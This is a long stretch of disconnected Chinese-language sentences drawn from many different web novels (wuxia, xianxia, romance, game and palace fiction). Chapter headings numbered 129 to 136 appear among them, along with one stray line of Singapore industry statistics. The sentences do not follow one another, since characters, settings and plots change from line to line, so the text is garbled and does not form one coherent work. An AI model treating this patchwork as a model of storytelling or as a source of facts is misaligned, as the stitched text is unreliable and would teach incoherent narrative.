“廖兮,汝等就和吾一起去见一见皇甫嵩将军,汝等立了大功,是一定要论功行赏的。”朱儁回头对着廖兮双目,坦然道。
他们两人,都打算凭借着自己的能力,来查探出叶锦幕跟慕家的恩怨。
听到了这里老板高兴了起来,这两人不仅识货,出手又这样大方,心里高兴不已。
须知,他接手‘新闻社’的事情并没有对大众公开,公司明面上的主事人也还是老沃伦。知道‘新闻社’背后易主的,除了在座的这些高层之外,可能只有为数不多的一些大势力的首领了,比如‘神盾局’的那位弗瑞局长。
黑暗法则,她只修行到了第七重中后段,达不到与这个阵法抗衡的地步。
想到这里,即使昨天才和上官修争吵过,才说过需要和上官修分开冷静几天的上官修,她便再也无法保持冷静了。
千陨唇角很浅地勾了一下,如果不细看出他这一闪而逝的笑容的话,恐怕……还真是觉得他说得一本正经的。
千陨难得的愿意心平气和与阿克萨尔对话,并没有带着任何嘲弄冷冽的语气,他很平静地反问了一句。
下一瞬,却是被帝九胤拉住,“没用的,那些都是没有灵魂的空壳。”帝九胤说道,所谓空壳,既没有灵魂,更没有记忆。
“顾叔说的对,爷爷您的身体才有好转,不能动肝火。”萧云殊也在一旁劝道。
甚至在温禾死去之他的决定是等任务一结束,就和她离婚,还她一个自由。
某种程度上来说,叶风回有着一种魔力,让人愿意去信任的魔力。
夜清落眼底,燃起星星点点的火光,在这漫天烈火之下,却并不被压下光芒。
如果只是关一个沐云轻,或者一个夜祁,都不可能让他们逃出去。
“不用!”秦安澜撑着自己坐了起来,还挺虚弱地让叶凉秋扶着。
“我今天刚报到,不仅需要熟悉的事情多,需要归置的也多。”赵兰拍着自己仍然起伏的胸口。
第一卷 第129章 失踪
这日陆凝出门,逛一逛永州城,刚一出门就被一名男子拦住了去处。
她不顾自己死活的捏着他上手臂肉最多的地方各种使出体内洪荒之力的捻拧。
这么多年过去了,徐謇和南边的东海徐氏几乎断了消息,直到十几年前,那边托商人带来了徐謇已逝的消息。
这鬼谷后卿常被人誉为“当世鬼谷后卿,九天揽月之世无双”此不仅赞其容貌极佳,亦是称赞其能力。
情况紧急,在场的弟子听着林绮珊的怒喝,皆是纷纷撤退,一些千岩峰的弟子更是争先恐后,唯恐迟到一步就呜呼在这会场之内了。
凭着刚才的记忆,王南北探出枪口,轻松的将此人解决后,慢慢的移到通道上半蹲着身子,全神贯注的关注着周边的情况一步一步的朝前挪去。
心下有些犹豫的王南北,不断的用眼光搜寻这房间的内的可疑之物。搜寻一番之后,王南北发现一个很是破旧的柜子有些翻动过的痕迹。
说着,那天老却是将话音故意拖上了几分,眼神远远地望向了观众席上的林毅。
而顾青云也和甲班的同窗们渐渐熟悉了,他虽然年幼,但言谈举止不会显得幼稚,加上旁边有何智这么一个早熟的天才儿童在,顾青云的老成就一点也不显眼了。
眼见着车队缓缓靠近,楚钰的眼底露出笑意,心里终于露出了如释负重的松了一口气。
伴随着剧烈的能量波动,一道粗壮的能量射线从这个丑陋的头颅巨吻当中飚射而出,随即在瞬间刺穿了行星的大气层,到达了宇宙太空。
律子挑出一颗。放在瓷碗中用勺子碾碎,然后按照检测毒?品纯度的方法,拿出两根试管,取了少许蓝绿色粉末倒入其中。加入特别的试剂。轻轻摇晃了一下。
急忙指挥四万多骑兵分成四路,三路分别应对背后,前面和营寨中的并州兵马。留一队作为接应,并守护在自己身边。
原本在这司府里面的不明所以,本在说话的说话,办公的办公,突然之间楼塌了,而且整条街就只有这一栋屋塌了。
周可可接下了林影给的四十万块钱。然后毫不犹豫就把程大力的二十万还回去了。
那是艾伯特一家的合影,明媚的阳光,温暖的沙滩,起伏的海浪,这一切就跟窗外的景象一样美好。
人在空中的丁春秋双手连挥,一道道掌力破空而止,激荡在那凶狠的黑色巨蟒之上。可是面对这条由九十一道无坚不摧的剑芒组成的巨蟒。好似挠痒痒一般,根本无法阻住它的势头。
此时,一座宫殿中,这里有三十个这些军团的高层人物。这些人都非常强大。
李翊闻言大喜,大声赞扬蒋干。而蒋干也是一副感激涕零的模样,他开动脑筋,只是一上午的时间,就画好了沿江布防图。
要知道,他们这样的斗者是不能长时间飞行的,要损耗大量的斗气!最多飞一会儿就要停下来了。不然的话,斗气就损失太大了!划不来的!没有人会不把斗气看的极重,斗气太重要了,不会浪费在飞行上面的。
她知道那三个相貌绝美的大剑战士都是凶厉大佬,但却未曾想过,这几位的实力竟然恐怖到这种程度。
“已经给他吃了解毒药了,不过到现在都还没有苏醒的迹象。”竹儿皱眉道。
这打不中,并不是安晓晓的问题,她的姿势很标准,眼界也相信是不错的,错就错在那把气枪。
对于洛远之不来这件事,风光的确有些意外,但洛远之不来,她也乐得自在,也省的要扯出一张笑脸陪他说话。
估计也是想让她看在这张车票的情分上,在京都能多多照顾一下黄海月。
“没有。”本来,他也不过是想逗她玩玩而已,在成亲之前就要了她,对于她来说,也是一件十分不负责任的事情。
也正因如此,他才强行按捺着心中的悸动,一字一句的开口询问。
顾辰虽然只是说了两句谢谢,并没有将内心的想法说出来,但安晓晓却是懂了。
“不好。你肚子里还怀着孩子呢,忘记了吗?你给我乖乖在春城呆着。”我语气很严厉地说。
这一出玲珑坊的大门,他就迫不及待的将步摇插到杨婉清的头上。虽然她身上的一身衣裳跟头上的步摇极其不相称,可杨婉清还是满脸的喜悦,这是白望生送给她的第一份礼物。
而在杜杀目不转睛的盯视下,那块被禁锢空间中的“灰尘”突然闪现出一道耀目的光芒。
在压上去的同时,我便感觉我的腹部有七个位置有点轻微的炽热感。
韩轲看着这一奇特的景象,心想:还是孟骊的那把幻月厉害!不禁又羡慕的看了一眼孟骊手中的琵琶。
战天藤的等级分为五级,最低等级的战天藤呈现自然的碧绿色,一般只有1o米高低,藤条数也一般不会过1o条。
有了第一次收获,林枫趁热打铁继续吞下一粒百灵丸,依然入口即化,这次似乎更多药力都汇聚在双腿上,让林枫都有一种充胀的感觉,眼看这一枚百灵丸的药力就要吸收完全的时候,突然一声轻响在林枫心中出现。
韩轲咧嘴一笑,缓缓的摇了摇头,他倒是没有感到自己的身体有任何的异样;他想着昏迷前的情景,那个猴七全力一击的那一拳如果打上自己,那自己至少也得进重症监护室吧,难道噬魂咒催发成功了!?
第一卷 第130章 失血
杨天腼腆的笑了笑,对于这几人,他已然打定了主意,暗自震慑一下,让他们打消了对自己不利的念头,如果可以的话,倒也不是不能考虑联手的问题。
苏格斯眼神一变,有些疑惑的问道,“洛泰尔陛下,我们今天不攻城了么?”苏格斯是不想拖延太久的,第一军营的人随时都有可能到来,时间对日耳曼人来说就是一切。
神龙摆尾,星辰定界锁将那罗汉缠住,从星辰定界锁上迸射出数轮雷光,那罗汉身上一道道贝叶灰飞烟灭,却是不死。
别的修士,你就例如外面的那些修士,他们所修,是把火焰山的火,融合于自己的真元当中。这样,真元的本质不变,但融合后诞生属性。融进火之后会让真元里面蕴含了极高的热能,也就是火属性的杀伤力。
胡忧他们并不是第一批被抓来的,在他们之前,这里已经关了不少人,相信他们也不会是最后一批,因为这学校够大,肯定还能关更多。
佛门讲究转世轮回,这一世修佛不成,下一世还可修炼,转世灵童,这都是从佛门当中流传而出,而庇护这一些身死的佛门之人,就是地藏王。
自古奇葩多贱人,古人诚不我欺。冈田一郎意识到他是有些低估了这两个国服第四区新人游戏者的无耻程度了。
拜思尔心头一凛,脸上的笑容消失不见,全身散发着一股冰冷的意志,没想到对方竟然如此谨慎,几千人而已,还要分开扎营。最倒霉的,保留下来的还是最精锐的铁浮屠,难道老天爷眷顾的是东方人么?
可以够得到王陌的猎人并不多,陨落星辰和绝望之手这次带的猎人也只有几百个,还被炎烬杀掉了不少,靠近王陌位置的本来就不多,偶尔有十几道箭矢钉在王陌身上,也是被防护箭矢结界和法力护盾完全抵消掉了。
刚刚使用混元枪的时候,高枫也感觉到,混元枪对灵魂之力的需求很多,神念的消耗也大。那火龙被凝聚出来,更是消耗了许多的力量。高枫在击败三个死灵之后,剩下的力量就不多了,顶多也就是在发动一次火龙的攻击。
昨天早上八点的时候,胡秀英跟往常一样出门去找同村的几个老姐妹聊天。
做完了这一切,雷穆斯喃喃自语了一句,轻轻点了点头肯定了一下自己。他收好了手帕,转身走向了房间当中的另一张床。
侍卫对危机的感觉相当敏锐,我手里拿着的长枪碧海云涛是水属性神兵,侍卫知道那冰冷的枪尖随时可以刺穿他的喉咙。
“没关系,反正这情况我是没办法,只能等时间到了他自己解开。”杨秋耸了耸肩膀,一副无所谓的模样。
这个北墨自己不知不觉的已经陷入了魔障,只是他本人还不知道罢了。
但多多少少也明白明大人的婚事自从九王回来后因为倪将军一脉不欣赏他,很多合适的人家都持观望态度。
二当家也整理了一下衣裳,此时此刻,他心里竟生起了一股身为男人的自豪。
三座炎山移动,炙热火焰相随,大片的空气被点燃,周围的温度瞬间高达数千度,死亡的阴影覆盖了一方空间。
顷刻间异象突起,风云骤变,只见以山谷为界,此处的天空变成了漆黑一片,远处却还是白昼。
要是他这话被毕阡陌听到的话大概会笑掉大牙。左岸过去也是百花丛中过片叶不沾身的主,如今竟然怂到说自己有洁癖。
叶飞一连轰飞了五六名高手之后,也成功的带着欧阳逸回到了兄弟们的身边。
只见那个乘客突然站起身来,一巴掌抽在了空姐的脸上,整个机舱内都是变得安静起来,虽然乘客和空姐起争执不是什么大事,可在飞机上打空姐,这样的事情,还是很少出现的。
而最近几天,李欣她们也都回家了,虽然上了高一不是很重要,但是运中毕竟是重点高中,这高一开学就早了点,8月20号就开学了,所以她们是要早点回去做准备的。
前排的司机已经无视这一切并且默默的升上了挡板,而刚刚还被林碧霄列为着急要见的对象林碧迟这会儿也因为这个吻而被林碧霄彻底的忘记到九霄云外去。
时间流逝,一转眼,明标的五天时间,已经过去,接下来的暗标则是成了众人的重点争夺对象,而那两块极有可能成为标王的毛料,便是在这一次的暗标之中。
王阳这才意识到,估计这人绝对不会在这里了,他们都被自己带来的信号枪给骗了。
王阳在后厨开始转悠起来,反正他也不会耽误别人的工作,再加上他毕竟是陈大盗亲自带过来的,所以这帮人是直接将王阳当成了空气,不理睬也不招惹,这倒是直接将王阳给孤立起来了。
第一卷 第131章 得救
陈遇白听了猛地一惊,转头对程怀安道:“小师弟!你!”
程怀安多年未听陈遇白唤他小师弟,心中竟一时感触颇深,脑海里皆是年少时陈遇白照顾自己,关心自己的画面。
只有一个肉饼子,大师兄也是会让给他吃的。
她抬眸看着那个应该唤作父亲的人,他肯承认她了吗?可是在他的眼中她分明看到了算计的成分,六年的不管不问,第一次相见就是要告诉她,她只是一枚棋子,一枚可以利用的棋子吗?这就是他生养她的目的吗?
她转过脸,下意识地朝前走了两步,越过跪在墙角的周山周林,直接掀了珠帘朝里边那人走去。
马林回头看到男孩的时候,面色突然一变,而后给两名黑衣青年打了个眼色,两名黑衣青年直接动手将男孩给带回了屋子里。
“对,就是铸造师,我们矮人族是铸造盔甲和武器的专家。”矮人说到铸造师的时候,表情明显和刚才不一样,脸上多了一丝自傲的表情。
“既然姐姐明白这个道理,为何当初要千方百计的离开皇宫?”除非她爱的人不是皇帝,否则以她刚刚的那番话,定是不愿离开心爱的人千里之遥。
辰月教立于冥海大陆魔青山上,是雪国第一宗门,其掌门号称魔主,地位仅次于雪国魔皇。
宋如玉看不清对方的面容,却觉得这人莫名的熟悉,自己应该在哪里见过。
千叶索性认准了方向,朝着东方而行。脚踏云霞,跟着几只飞翔在空中的巨鹰。施展开御风之法,在空中飞了也似。
矮人会有这样的表情也不奇怪,众所周知矮人族是所有种族当中制造盔甲和武器的能手,他们天生就具备铸造师的天赋,而且种族天赋更是能增加铸造的成功率,是每个种族都梦寐以求的铸造师人选。
慕容晴莞强压下心中的苦涩与失望,继续问道:“那……皇后娘娘呢?”以后仪迎娶,与后平齐,那么她呢?在他的心里,她究竟算什么?
若瑶嘟着嘴,想了一下子,“不要!我就要睡那儿,那儿还有一扇窗子!”说完,就很强势的将桌子上属于瑾心的东西统统扫到地上,摆上了自己的东西。
张翰明和李晗脸贴着脸,双方呼出来的一口热气,都是能够扑打在对方的脸上,这样亲密的距离,这样的问候,就算是李晗,她的心头也是出现了一丝的悸动。
大姐?大姐?谁是你大姐?江凝此时脑中有些凌乱,眼神却凌厉的看着元嘉。
这更不靠谱,系统已经提示过,自己灵气不足,无法使用这个技能。
但是,让着自己这几十万族员陪着自己死,她怎么也不会原谅自己。
要不是有众多羁绊,学校的荣誉,同学的恳请,牛逼根本打死都不会主动去参加。
紧接着男子手中折扇噗哧一声打开,而后向着王尧所在的方向轻轻一挥。
“哐当”一声,刚才还挣扎着要起身的长发混混已经两眼翻白,昏死过去。在他脑袋下面,缓缓流出了一大一滩血迹。
‘难道……是她误会了什么吗!?’千叶真一下意识的远离了抱着太刀发花痴的柳生丸太郎两步。
初恋,顾名思义就是第一次的恋爱,但是细细来讲,又没有那么清晰。
第一卷 第132章 线索
“捞金呗!”沈梓璃头也不回的应道,慕延泽更是疑惑了,捞金?怎么捞?一个盒子,也能捞?疑惑的问道:“这个盒子里装的是什么?”出于好奇心作祟,慕延泽的视线一直停留在沈梓璃手里的那个盒子上。
沈清颖眼眶红了,这一切都是因为自己,若是自己不离开丞相府也不会发生这些事情,但……自己若是不离开丞相府,她腹中的孩儿,也都保不住了。
苍木唐刀转变形态,圣灵形态,强化灵术效果,并增强恢复能力。
乔笙楠没有继续和林枫说了,问了也是白问,果断的挂掉了电话。
本以为自己模棱两可的话可以帮自己逃过一劫,没想到孟子潇反而追着她契而不舍询问着。
步成器早有准备,戊戌守魂术被他催动到极致,即使灵魂攻击颇为强大,步成器依旧仗着自己的秘识强大,抵御了下来。
林君来做好了饭,来大院里叫陆晚舟吃饭了,陆觉良才不舍的将视频挂断,叮嘱她好好吃饭,养好身体。
马各不屑一声,神情倨傲的随意抬了抬手,然后突然向甘心发动了进攻。
两人正在寻找之间,刘凡已经擒俘了一人而来,正是那位刚才指挥战斗的中年军官,其背上满是鲜血,看上去更是奄奄一息,不知道是否能保住性命。
乔笙楠虽然疑惑当年之事,但是还是忍住了,没有耽误林枫的时间,开着车去了南大。
冯伟安有些疑惑,当年冯正峰反戈一击虽然没造成什么恶果,但是自家儿子是这种心慈手软的人?
自亘古以来,这四棵神树便在镇魂街的四个方位屹立着。四神树吸收天地之气,从而转化为灵力作为自身营养。它们虽然相隔万里,可是根部却彼此相连。传说这四棵神树构架了亡灵的世界。
因为他感觉到林修的枪法不仅精湛无比,而且长枪攻击过来的时候,不时的还释放出一些风刃出来。
于是也懒得费这个劲,出来这么久了,还得赶着回去呢!哪有时间在这里浪费!于是万华也是难得的大方了一回,没有让人去把土匪寨子翻个底朝天。
胖子还是有点心虚,毕竟薇薇安说她一辈子都会见过“赫利尔湖这般”。
他已经把洛月当成是他的所有物,此时看着林修,双目当中充满杀意。
吃完饭,几个男的到隔壁谈事,陆菲拉着冯母,叶母坐下喝茶,陆菲这次随丈夫一起到青萍,准备挂在市电信,叶母以前就是邮电部门,后来分拆后也在市电信,坐下也有话题聊。
柴学名是展雄集团财务副总监,地位仅次于董政语,这半年因为天河乳业上市准备的事经常飞香江。
见喜娘变成这般模样,张广宣又是吓得大叫一声,顾不得那么多,又是转生逃跑。
在与野兽相处的日子里,他们从野兽身上学到了许多特殊的战斗方式。
“可是,木叶有卖咖啡豆的吗?我记得咖啡豆生产地在雷之国和草之国。”理世有些烦恼,她记得火之国大部分都应该是喝茶吧。
楚芸怜离开安羽宫之后就径直去了太子府,这会儿也不知道他在不在府上,只能碰运气了。
“说是这么说,但具体情况,我也不知道。”主刀医生不由说道。
“柳芸。”锦延温柔地将柳芸拉到身边,她也不见扭捏,大方地笑着,看着这一大家子人。
说完,依西唛娅伸展开自己背后的双翅,他们就像一道巨大的屏障,将两个少年的身体紧紧包裹在其中,野兽们血腥丑陋的躯体,还有夜晚刺骨的寒冷,都被隔绝在依西唛娅双翅的外面。
如此一来,九品精血的获取就变得更加关键,它能让一些原本没有多大价值或是优先级靠后的载体再度派上用场,迅速转化为先存的助力。
这阵法,以无边浩然正气笼罩,常人根本无法看穿,而无法看穿,找不到这些神皇真正所在,便无法破阵,无法破阵,这四只尊级雾兽,古枫根本不可能打得过。
赤由这边脚步才一踏上码头,还没来得及在心中对艾克达岛现在这番不科学不舰娘不魔法的宜人气候吐槽,罗德尼金发大洋马就春风满面笑容诚恳的主动迎上来开了口。
蔡阬看着徐峰如此年轻,而且修为也不是很强,他也懒得和徐峰计较。
千年相伴,他换不来古无涯一句褒奖,换不来古无涯一个安慰的眼神,换不来古无涯一句关切的话语。
林暖愕然,猛地抬头朝王茜看去,见她的双眸渐渐恢复了清明,才相信了江酒的话。
“怎么了?出什么事了?”月溪看他着急忙慌的样子奇怪的问到。
可刘花生岂会让他如愿,死死的抱住大鹏的利爪,忘忧花伸出的藤蔓缠绕着大鹏的双翼。
江雨沁听到沈川宇、演唱会、门票、一起去,这几个关键词,她激动的直接晕了过去。
第一卷 第133章 相认
“你好,我叫宋默默,默是沉默的默。”宋默默呆了两秒后,下意识接话道。
立时有蛮军过来架着胡邪下城,胡邪恨恨的看了一眼被白焰和流星霜拦住的白朗二人,显然很不甘心,可是没办法,看情形今天又没办法攻下首阳关了。
赵天泽和李旭东先行离开,也没让唐枫送,尹长江则乐呵呵的将两位领导送至门外,看车辆离开这才返回包间。
就在这个时候,我身子一动,却是站起身来,然后,我猛的就朝外面冲了出去。
他吩咐青皮赶紧去能点吃的喝的,安抚好手下稳定住人心,这才一步一叹气的去了办公室。
这也就是:‘鱼黑山’到后来只吸食自己的哥哥、姐姐的缘故,这是蚩尤死前血咒的魔力作祟,自身的本能使然,只有这样它才可以继续进化。
综合所有的信息,得出结论的沐雪艳立即派人租赁了印尼的一个偏远的荒岛,然后利用海岛的天然屏障,用时半个月挖出了一个地下百米的密室。
简单来说,这场战斗的视觉效果实在是太震撼了。而且战局一波三折,要是把直播转进电影院,加上符合当时自然情况的温度、微风、湖畔枯草的味道等等,这分明就成了电影院里上演的拟真vr大片。
也许这个名字有些刺耳,但是扎夫特的调整者,大家也许都知道,基拉、拉克丝、阿斯兰等等,他们都属于调整者,也就是所谓的人造人,基因调整后的新人类。
此时,哪怕是夜晚,古螺城中依然不断的有差役和三三两的军士在大街上巡守着。
因为降魔金刚的修为太高,必须用到超级天庭狗粮,才能将他控制起来。
从此原本属于联盟的两大家族断绝了一切来往,并约定了每三十年一次的战役,双方只为了自己老祖的名誉而战。
若是按照周勃的计策,不但可以顺利接掌沛县,而且可以借助陈涉的军威来逼迫沛县人和自己站在一起。
“恭喜苏大人杀血成魔!恭喜云魔祖师又得高徒!”萧启龙赶忙恭贺。
龙云风大掌一摄,一个庞大的手印从空中落下,像是天崩地裂一般,朱厌见状脸色大惊,慌忙的变回巨大的朱厌真身,双手去撑龙云风的手掌。
“你可以不去,我直接安排人替你去,任她苏蛮怎么查也查不到你的头上。”李林浦说。
不到一天,吴岩等人就碰到了两只一级的妖兽蜥蜗,被众人一起痛揍,几下就死掉了。但是到了后来的几天,每天都能碰到一两只妖兽,虽然不难对付,但是也极大的阻碍了吴岩一行人前进的速度。
要知道,他现在所处的,是一个真正的武侠世界,而且,这诸多神功,他也能从神功谱之中获得。
“那个守卫没有带火把或者油灯,他如果是过来查看马厮的,怎么可能不带照明工具呢?”巴雷德指了指光球。
竟认出果然正在掘土的两人,似乎是时常跟着纪明府访见住持的家仆。
“若天不见怜,我便与她一起隐居山林,不问世事……”安瑞祺悠悠地回道。
依据大周礼教,客人尊贵与否从来不因年龄排序,别看十一娘尚未及笄,但让一姬人共席而食确实算是万氏失仪不敬了。
“是的。”这一次反而是赵付国一怔,梓潼?噢,原来这就是她的名子。
“我想自己出去打拼,我已经这么大了,不能一直吃你的喝你的。”穆南义平静的说道。
“内力全失?难道他真如那老朽所言是武功高强之人?”神医白眉一挑,惊讶地问道。
“也许是防范海盗吧,有时海盗也是会上岸的。”弗恩耸了耸肩,随意的猜测着。
“楚军撤兵事出有因,可魏军忽然违约撤兵不免让人生疑,诸位以为这可会是诱敌之计?”安瑞祥苦恼地问道。
“娘子这是来兴师问罪了,既然如此,还请先告知姓氏。”薛惠不依不饶。
片刻之后,一道强烈的光束就将他们的身躯包裹住,将他们传送到了外面。
通往慕容世家的必经之路上,同样是一场血腥的‘混’战。‘混’战的一方穿着寻常百姓的衣衫,用的兵器也是各种各样,但是各个身手不凡。以至于另一边墨景黎的‘侍’卫也隐隐有些挡不住的趋势。
我所在的入口处距洞穴底部有一个约五十公分左右的高度差,在靠近通道的洞壁旁边有一道宽约六七公分的裂隙,顺着洞壁蔓延,也不知它到底通向何处。
本来还没想到这些,但一看他这神态就知道他是担心我又向他伸手要钱,心里有些不爽。
碎空拳轰出,恐怖绝伦的拳劲捣碎虚空,刹那之间,白敬亭一拳就被孙悟空给轰杀在虚空之中。
孙悟空可是知道,如若他真的跟古谦昊势均力敌的话,那么这些古族绝世强者参战,一定能够改变战局。
笑容淡雅飘逸的清尘公子无端的打了个寒战,不由疑‘惑’的抬头看了看万里无云的天空。
我有些郁闷地爬了上去,正想开口骂娘,却见于怀也跟着爬了上来。
随后她让韩冥熠撕了自己的里衣,用右手拿布条沾水将伤口附近的血迹擦干净,让冷二拿出自己的银针,取出一根在火上烤了一下,然后在刚刚按住的地方慢慢扎了进去。接着又在他腿上身上扎了几针。
哎,我一般去医院也就是看看朋友,根本不知道这些医院都有什么科室的。我们刚刚来到病房门口,一问从里面出来的护士才知道,尹桐艳在病房外面的花园里休息。
张角死掉之后,张衡没多久也嗝屁了,张修就趁机夺权,将五斗米道抓在了手中,张鲁因此怀恨在心,接着这次机会,让张修攻杀了苏固,而他则在背后灭了张修,不但没担上反贼的罪名,还夺回了五斗米道的控制权。
第一卷 第134章 南启
大白桃见我准备就绪,问问了有什么意见没有,没有过天就打发人商量下-步。
也许是心有不甘,也许是不想离开我们。原本放弃了的阿雪再一次振作起来,她振奋精神,将自己的精神能量提高了最大境界,精神能量引导着阿雪的生命能量,阿雪的灵魂体开始重新聚集。
第二天一大早,严乐就起床了,他正准备去晨练,看见隔壁房的许云艳也起来了。
张友天和柳兴诚听了吕程进的话,更是感觉到严乐的做法是对的,这吕程进真会感谢严乐一辈子,严乐这个慈善做得值。
周围的学生看到这个阵仗,镇定一点的当做没看见,胆子虚一点的,索性就敬而远之了。
黎树森是那种会玩的主,那绝对是刺头加鬼头的主,可是老关是那种中规中矩的人,干什么事情,那怕就是上当受骗了,明知道前面是个坑,他也是要跳进去的主。
虽然烛九阴不知道这一场无量量劫会是什么样子,可是他却知道当自己出关之后那将会彻底开启末法之劫,应为他可以感受得到这仿佛是他的使命一样,而偏偏他却不知道这是为何,或许这便是大道之力吧。
她在心里想着,怎么卫七郎派了个这么可怕的人来保护她,对这人是越发害怕了。
当天晚上,四人找了避风处驻扎下来,取出阵具布好,临睡前谈的自然还是那韩秀秀。
他哪里知道前世刘正经所在的那个国家,从建国开始就格外重视教育,几十年的时间里完成了许多国家一个世纪都完不成的任务。那个伟大国度,21世纪的腾飞,很大程度上就来源于几代人在教育方面的不懈耕耘。
可看到顾千身上,穿的那套在KICON订做的浅色系休闲款秋装后。
顾千当然不是什么变态,只是看清楚了吴琳琳刚才脸上的那奇怪笑容。
“这蛮蛮兽还真是大胆,竟然敢袭击四名元婴修士。”百里雾雨想破头也没明白这妖兽是怎么回事儿。
可刘正经就是被系统坑了,当时异能觉醒,刘正经察觉到怪异,只顾着30点内力和身体、力量属性的诱惑,着急发动了触欲。
黄健祥和王淘两人也正在赛事方为他们准备好的直播席辛苦的忙碌着。
苏问对唐汐的心情是复杂的,但他清楚的明白如果不除掉唐汐,她总有一天会帮助唐三成就原著中的成就。
舞台的临近让裴珠泫不得不紧张起来,时隔这么久的舞台让她极为重视。
两名卫士急忙冲进房中,看到的景象是满脸怒火的公主殿下和一脸迷茫的和亲大使。
安扬产生了一种清楚的直觉,如果继续放任这个怪物横行,放任红月之上的虚影嘶吼,越来越多的血肉会成为祂的容器,当容器足够大时,祂的虚影就会真正的降临。
汪直、徐海、吴平、曾一本……一个个都曾经比自己更加叱咤风云的名字,早已经被扫进了垃圾堆,难道下两个就轮到他和林道乾了?
腊月初八,6家庄庄主6展元大婚。四方宾客云集,6家庄里里外外一片喜庆,不过6展元的两个岳父却不怎么高兴。
杨铁心心里很是苦涩,杨康的心情他能理解,毕竟自己差点害死了妻子,杨康不想让他上前,他心里其实也有些害怕,害怕再刺激到妻子,妻子性格柔弱,但有的时候也会变得刚强。
“既然是符箓的灵气汇聚成的,念段咒语啥的是不是管用?”我不甘心的继续问。
四人相互看了看,同时化为一道流光飞散。白衡炉上神阵被林逍收取,这处天造地设的一座儿绝阵顿时又恢复了往日的宁静。
这时,我口袋里的手机响了起来。我把筷子交到左手,掏出手机一看,这个电话正是许舒打来的。
汗!怎么都说我是有钱才变坏的呢?我无奈地道:“跟你也说不明白,我向爸妈解释去。你要听,就跟着来罢。”说着我开门出去,却正好看到菁菁拉着我妈的手,说到了许舒为我挡刀的事。
顺手将沉沦巫师们旗杖上的骷髅头骨,全部摘取下去,又收起了那些弯刀,连王猛他们也纷纷换上了弯刀作为武器,以四只骷髅勇士开路,再次往二十九层杀了上去。
林逍身上的肌肉疯狂的颤抖着,侵入体内的阴邪力量正在不断地吞噬林逍的精血。林逍体内的三界净火正在和那阴邪的力量做殊死的搏斗,炽热的净火一丝丝的炼化了那阴邪的力量,林逍的身体也渐渐地恢复如常。
“不对呀,他明明手里拿着猎枪呀,好像是从山上追狼下来的。”郑为民有些疑惑。
第一卷 第135章 味觉
陆修衍完全没想到那份菜单不是为了毒死梁然和孩子,而是要直接导致梁然产生剖腹产指征。
可陆修衍却倏地直起了身体,用左手紧紧地抓住了她的一侧的胳膊,将她拉到了自己面前。
一道有一道的严密检查,长老堂的人在经过的数次检查之后,终于进了安翎宸的房间。
很多时候,都在自以为的过程中犯下了许许多多不可逆转的错误。
我看着自己悬浮在半空的身子半晌无言,尝试着往前走,身体就随着意念悠悠地朝前飘了一段距离,想起一整晚的经历,蓦的叹了口气,回到房中倒头就睡。
齐欣儿深刻的意识到,这一次是彻彻底底的伤了她爸妈的心,正因为如此,她曾在心中暗自发誓:一定要对自己好点,免得爸妈担心;一定要加倍的对爸妈好,才能让自己心里好受一些。
落倾当然相信他,只不过嘛,相信归相信,心里不舒服照样归不舒服。
孟心荷本就瘸着腿,被乔云兰这一巴掌打得向旁边踉跄两步,没稳住,直接摔倒在地。
那双眼睛中,温之熙旺夫看到万千光华,就像是极地的极光,动人心魄。
陆修衍将证件递过去后,警察又递上一根酒精测试仪要求他吹气。
由于第一批的学员都是特种队和预备队的将士,所以留守在长安城的,也会和军校内的将士们轮换。
蓝凌第一反应就是这个,心头诧异的同时,也是想到了之前法兰克和她说的话,那个时候的表情,好像也和现在一样。
按照秦淮的经营理念,云中食堂是以点心为卖点的特色社区食堂,食堂经营和销售的重点都是1楼的点心。炒菜只要价格实惠,口味过得去吸引附近追求性价比的普通上班族,稳住基本盘,做到无功无过就行。
这时,又有一股冷气从过道里传了进来,直逼向神秘人,神秘人脸色大变,顿时向后退了一步。这时,一个穿着唐服的中年人慢慢走了进来,他脚步虽然有的很慢,却一下子来到林杰身前,淡淡的看着那个神秘人。
太阳悬挂在空中,炙烤着大地,耀眼的阳光刺得人几乎睁不开眼。土地硬得像石头,一块一块不规则的开裂,深深的裂纹里看不到一丝绿色,风一吹带来的只有热浪和沙尘,就连天空都蒙上了一层炽热的红色。
2020年,新加坡精密工程业产值约420亿新元。主要产品包括:半导体引线焊接机和球焊机、自动卧式插件机、半导体与工业设备等。
沐清歌已经是前车之鉴,这么多年连他秦夜泊自己也成了这幅样子,总有人愿意争一个高低,斗一个你死我活。
昨晚她初经人事,虽还没有到食髓知味的地步,可是为了早日诞下皇子,还是缠着赵崇多要了两次。
“阿史那贺鲁的粮草不多了,都护府城被一把大火烧个精光,府城与银川城中间人口稀少,按理说只要能坚守下去,突厥人自然会不战自溃。
“这倒是一个生财之道,亏他南宫世家想得出来,就那么一张邀请卡,估摸着也不是一般人能够拿得到的。”梁辰再次苦笑。
其中一人一身白袍,面目锋芒凌锐。另一人一身黑衣。眼神平静如水。
“老衲赞成,玄皇境以下的过去,刚好也可以去历练历练!”空相古寺的空相古佛赞成道。
其实以吕玄的功力早就成就了天耳神通的低级阶段,只是吕玄不会运用而已。
梦璃道:“所以我才怀疑那位城主已经遇害了,如今那位城主很有可能是那位魔族神皇”。龙洛道:“即便你猜想不错可是见过那位城主的人不少吧,这么多年那道就没有人发现他与那位城主的区别”?
雨,停了,天空扫尽之前的沉闷,迎来了美美的七色彩虹和暖人的阳光。
一众契丹人听到阳云汉如此狂妄藐视,脸上全是色变,口中纷纷喝骂。
对华武佣兵团动手,是艾尔巴经过了深思熟虑后,所做出的决定。
胡景辰又一次乖乖的闭上了嘴巴,一脸哀怨的跟在林悦后面,时不时的朝走在前面的林悦翻个大白眼,不服气的撅着嘴。
萧家能够拥有一个灵体修炼者,对于萧家来说,绝对是难以想象的好处,他也非常好奇,经过这次的灵体觉醒,柳云晴的实力究竟会一次性提升到什么地步呢?
百日亹亹,逡巡芳菲酣醉客,直待、落霙冬死才稍歇,睠睠蛰枯萝。
虽说自己的是男的,但是看到这么多粉丝支持自己,内心还是非常感动的。
他不知道自己已经多少年都没有这样的感觉了,第一次的时候,还是初中二年级时面对那个校花吧?
陈寂然看着王振伸着的欲要与自己握手的手,犹豫少许,还是象征性的伸手同他握了一下。
第一卷 第136章 寻他
锦婳抓住大厨子的手臂,着急道:“你刚刚可是说公子下落不明,这话是什么意思?”
那大厨子问锦婳道:“难不成你不知道?几位将军没对你说过?”
“长大吗?”四糸乃不知为何一下子对于成长有了极大的向往,不过精灵的话,有成长的可能性吗?从五河琴里这个例子上来看的话,精灵和人类一样,也是会成长发育的吧。
